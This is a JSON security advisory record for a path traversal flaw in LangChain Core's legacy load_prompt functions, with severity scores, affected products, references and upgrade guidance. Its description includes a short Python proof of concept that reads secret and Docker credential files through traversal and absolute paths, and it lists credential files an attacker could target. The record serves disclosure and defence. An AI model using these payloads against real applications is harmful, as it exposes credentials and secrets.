{"id":"CVE-2026-34070","aliases":["CVE-2026-34070","GHSA-qh6h-p6c9-ff54","PYSEC-2026-2193"],"related":[],"kind":"vulnerability","state":"published","title":"LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions","summary":"LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nMultiple functions in `langchain_core.prompts.loading` read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to `load_prompt()` or `load_prompt_from_config()`, an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (`.txt` for templates, `.json`/`.yaml` for examples).\n\n**Note:** The affected functions (`load_prompt`, `load_prompt_from_config`, and the `.save()` method on prompt classes) are undocumented legacy APIs. They are superseded by the `dumpd`/`dumps`/`load`/`loads` serialization APIs in `langchain_core.load`, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.\n\n## Affected component\n\n**Package:** `langchain-core`\n**File:** `langchain_core/prompts/loading.py`\n**Affected functions:** `_load_template()`, `_load_examples()`, `_load_few_shot_prompt()`\n\n## Severity\n\n**High** \n\nThe score reflects the file-extension constraints that limit which files can be read.\n\n## Vulnerable code paths\n\n| Config key | Loaded by | Readable extensions |\n|---|---|---|\n| `template_path`, `suffix_path`, `prefix_path` | `_load_template()` | `.txt` |\n| `examples` (when string) | `_load_examples()` | `.json`, `.yaml`, `.yml` |\n| `example_prompt_path` | `_load_few_shot_prompt()` | `.json`, `.yaml`, `.yml` |\n\nNone of these code paths validated the supplied path against absolute path injection or `..` traversal sequences before reading from disk.\n\n## Impact\n\nAn attacker who controls or influences the prompt configuration dict can read files outside the intended directory:\n\n- **`.txt` files:** cloud-mounted secrets (`/mnt/secrets/api_key.txt`), `requirements.txt`, internal system prompts\n- **`.json`/`.yaml` files:** cloud credentials (`~/.docker/config.json`, `~/.azure/accessTokens.json`), Kubernetes manifests, CI/CD configs, application settings\n\nThis is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose `load_prompt_from_config()`.\n\n## Proof of concept\n\n```python\nfrom langchain_core.prompts.loading import load_prompt_from_config\n\n# Reads /tmp/secret.txt via absolute path injection\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"/tmp/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\nprint(prompt.template)  # file contents disclosed\n\n# Reads ../../etc/secret.txt via directory traversal\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"../../etc/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\n\n# Reads arbitrary .json via few-shot examples\nconfig = {\n    \"_type\": \"few_shot\",\n    \"examples\": \"../../../../.docker/config.json\",\n    \"example_prompt\": {\n        \"_type\": \"prompt\",\n        \"input_variables\": [\"input\", \"output\"],\n        \"template\": \"{input}: {output}\",\n    },\n    \"prefix\": \"\",\n    \"suffix\": \"{query}\",\n    \"input_variables\": [\"query\"],\n}\nprompt = load_prompt_from_config(config)\n```\n\n## Mitigation\n\n**Update `langchain-core` to >= 1.2.22.**\n\nThe fix adds path validation that rejects absolute paths and `..` traversal sequences by default. An `allow_dangerous_paths=True` keyword argument is available on `load_prompt()` and `load_prompt_from_config()` for trusted inputs.\n\nAs described above, these legacy APIs have been formally deprecated. Users should migrate to `dumpd`/`dumps`/`load`/`loads` from `langchain_core.load`.\n\n## Credit\n\n- [jiayuqi7813](https://github.com/jiayuqi7813) reporter\n- [VladimirEliTokarev](https://github.com/VladimirEliTokarev) reporter\n- [Rickidevs](https://github.com/Rickidevs) reporter\n- Kenneth Cox (cczine@gmail.com) reporter","format":"markdown","source":"ghsa"},{"lang":"es","text":"LangChain es un framework para construir agentes y aplicaciones impulsadas por LLM. Antes de la versión 1.2.22, múltiples funciones en langchain_core.prompts.loading leían archivos de rutas incrustadas en diccionarios de configuración deserializados sin validar contra salto de directorio o inyección de ruta absoluta. Cuando una aplicación pasa configuraciones de prompt influenciadas por el usuario a load_prompt() o load_prompt_from_config(), un atacante puede leer archivos arbitrarios en el sistema de archivos del host, restringido solo por verificaciones de extensión de archivo (.txt para plantillas, .json/.yaml para ejemplos). Este problema ha sido parcheado en la versión 1.2.22.","source":"nvd"}],"published":"2026-03-27T19:45:00.000Z","modified":"2026-09-10T03:50:40.646Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.2.22","status":"affected"}],"vendor":"langchain-ai","product":"langchain","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1780082949","fixed":"*","status":"unaffected"},{"type":"rpm","introduced":"1787229385","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2.5","package":"ansible-automation-platform-25/lightspeed-rhel8","cpe":"cpe:/a:redhat:ansible_automation_platform:2.5::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782471587","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","package":"rhoai/odh-llama-stack-core-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782471606","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","package":"rhoai/odh-trustyai-nemo-guardrails-server-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Lightspeed","package":"openshift-lightspeed/lightspeed-service-api-rhel9","cpe":"cpe:/a:redhat:openshift_lightspeed","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","package":"ansible-automation-platform-25/lightspeed-chatbot-rhel8","cpe":"cpe:/a:redhat:ansible_automation_platform:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","package":"ansible-automation-platform-26/lightspeed-rhel9","cpe":"cpe:/a:redhat:ansible_automation_platform:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-mlflow-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.22"}],"ecosystem":"PyPI","package":"langchain-core","purl":"pkg:pypi/langchain-core","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.2.22"}],"vendor":"langchain","product":"langchain_core","cpe":"cpe:2.3:a:langchain:langchain_core:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.22"}],"ecosystem":"PyPI","package":"langchain-core","purl":"pkg:pypi/langchain-core","source":"pysec"}],"references":[{"url":"https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22","tags":["advisory","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34070","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453287","tags":["issue-tracking","report","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34070.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24766","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:59159","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:37275","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34070","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/langchain-ai/langchain","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-31T15:17:33.597Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34070","url":"https://www.cve.org/CVERecord?id=CVE-2026-34070","licence":"CVE Terms of Use","modified":"2026-08-25T12:05:55.349Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qh6h-p6c9-ff54","url":"https://github.com/advisories/GHSA-qh6h-p6c9-ff54","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:40.646Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34070","licence":"Public domain","modified":"2026-08-25T13:18:38.963Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2193","url":"https://osv.dev/vulnerability/PYSEC-2026-2193","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:26.389Z"}],"updatedAt":"2026-11-25T22:59:17.556Z","epss":{"score":0.01408,"percentile":0.72853,"date":"2026-11-30T12:00:22.000Z"}}